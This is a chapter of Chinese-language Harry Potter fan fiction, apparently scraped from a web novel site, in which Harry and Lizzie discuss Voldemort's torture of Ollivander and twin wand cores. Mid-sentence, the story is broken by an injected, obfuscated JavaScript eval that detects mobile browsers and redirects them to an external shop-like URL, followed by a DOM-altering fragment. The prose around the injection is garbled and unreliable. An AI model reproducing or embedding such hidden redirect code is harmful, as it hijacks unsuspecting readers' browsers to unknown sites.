烦躁的哈利狠狠抓了抓自己的头发,他想让自己尽快冷静下来,一段记忆却不受控制地钻进了他的脑海,下意识紧紧抓住了魔杖,额头伤疤的刺痛也无法结束这段闪回。当眼前再次恢复成这一片乡村夜色时,他匆匆推开门回到陋居内,刚被塞得满满当当的厨房已经变得空荡荡,转头去看沙发,那里的两个人也不见了踪影。 “哈利——”赫敏站在楼梯上。 罗恩见到哈利也又长舒了一口气说:“今晚确实挺难熬的。” “莉兹呢?”哈利问道。 “她的伤挺严重的,现在刚在房间里睡下,塞西尔本来要带她回家的,不过莉兹想在这里留一夜。”赫敏小心翼翼解释着,似乎在担心些什么。 “你不会再说要离开这里了吧?”罗恩问出了口。 哈利没有直接回应,只是继续说:“我需要和她谈谈,我看到了一些东西,是必须要告诉她的事情。” “你怎么又让他进到了你的脑子……”赫敏想着把这句话咽下去,但还是没忍住,而不出意料的是,哈利依旧选择了回避这个问题。 三人走上楼悄悄推开了房门,哈利探头看了一眼,坐在床边的乔治回过头,在窗台的弗雷德站起来,两人同时和他们招手示意先进来。 “她还好吗?”哈利问。 “药剂应该是起效了,她刚刚睡着。”乔治回答。 “那我还是过一会儿再来吧……”哈利正好在犹豫,他觉得自己看到的东西不太适合对现在的莉兹讲出来。 躺着的莉兹却出了声,她撑着枕头慢慢坐起身:“我没睡着。” 空洞的右眼不再是一片血红色,睁开时只能看到整个眼球都成了深黑色,哈利向她走近,拉开床边的椅子坐下,双手紧紧攥着拳头。 “看来是必须要告诉我的事情了,那给我们一点空间怎么样?”莉兹看着乔治和弗雷德轻轻扯了扯嘴角说道。 赫敏便连忙招呼着兄弟三人出了屋子,留下了他们两个。 “我看到了老奥利凡德,”哈利深吸一口气,“我想伏地魔也没有意识到自己在将自己的记忆分享给我,我看到了伏地魔正在用钻心咒折磨他。” “意思是他没有从爷爷这里得到想要的答案吗?”莉兹的语调平稳。 “是的,他认为老奥利凡德在说谎。”哈利点头,“他认为关于我和他的魔杖的事情,老奥利凡德没有说实话。” “你在店里买魔杖的那天,爷爷和我讲过,你和那个人的魔杖杖芯来自同一只凤凰,我想你也听说过‘孪生’的意思,在魔杖制作中,这两根魔杖就会被认为是孪生的。” 莉兹微微抬眼,和平时一样直视着跟她说话的人,“也就是说,它们在某种意义上是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17487912|202107||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一根魔杖被分成了两根,一旦魔杖意识到其中一根的主人要对另一根的主人使用伤害性的咒语,那就会失效。” “但伏地魔想知道为什么他已经换了魔杖了却仍然无法伤害我,而且我的魔杖在那时候自己动了起来,就像它在主动保护我一样。”哈利努力让自己不要避开莉兹的眼神。 “那我也会和爷爷给出相同的回答,这是不可能的,既然使用了不同的魔杖,孪生的意义就不存在了。”莉兹顿了顿,思索了一下,“虽然我没有论据证实这个猜想,但我猜想魔杖自主行动的理由,也许是对于你的魔杖来说,你和伏地魔同时是主人,它察觉到了他的敌意,所以才会反击。” “魔杖会同时认两个不同的人做主人吗?”哈利追问。 “理论上不可能,不过你和那个人显然不是彻底不同的两个人,不是吗?” 莉兹意识到自己的分析大约是过于理智了,连忙改口补充道:“非常抱歉,我并没有侮辱你的想法,我的意思是,魔杖选择主人这条律法对所有巫师来说都是一种被动状态,你甚至可以理解成是命运,你会在那么多的魔杖里被这根魔杖选中,这已经证明了你们之间是无法被分割的关系。” “那要是我也换了魔杖,他是不是就可以伤害我了?”哈利盯着她。 “我现在没办法给出一个准确无误的回答,”思考让原先被药剂压制的疼痛感又回来了,莉兹不自觉皱起眉头,“我上面说的所有假设都是建立在你和他的联系只是因为魔杖,然而你们的思维是共通的,他是如何进入到你的脑海的,这件事也需要考量进来,总之你们显然不会仅仅只是一根魔杖的关系。” “对不起,你一定很难受吧。”哈利低下头,看起来还有什么要说的,可他沉默了一阵子,看着向后靠在枕头上的莉兹,选择站起身来。 “不过我可以确定一件事,”她又出声,“你的魔杖会成为你最后的保护伞,我见过很多巫师与他们的魔杖,你的魔杖是我见过最信任主人的,它会为你付出一切。” “谢谢。”哈利垂眼,把椅子挪回原处。 “我还有最后一个问题,”莉兹问,你看到爷爷被关在什么样的地方了吗?” “可能是一个地牢,那里很像是个地牢的地方,很黑也很潮湿……”哈利说不下去了。 “行,我知道了,也希望我的回答能够帮到你。”莉兹把被子拉上来,想让自己尽快睡过去,那就不会再痛了,房门被关上然后又被悄悄推开,这样轻手轻脚的大约是赫敏。 “如果你们以后需要帮助,就来我这里吧。” 她说完这句话便翻了身背对着站在另一张床前的赫敏。 “谢谢你。” 又是一声道谢,这次莉兹没有再冷淡地说出什么解释,只是轻轻笑了一声,在被窝里攥住了脖子里的项链,那颗石头在昏暗中发出了微弱的光,疲惫、疼痛、担忧都像扯不断的丝线一样缠绕着她,莉兹第一次希望这时候要是奥利弗在身边就好了。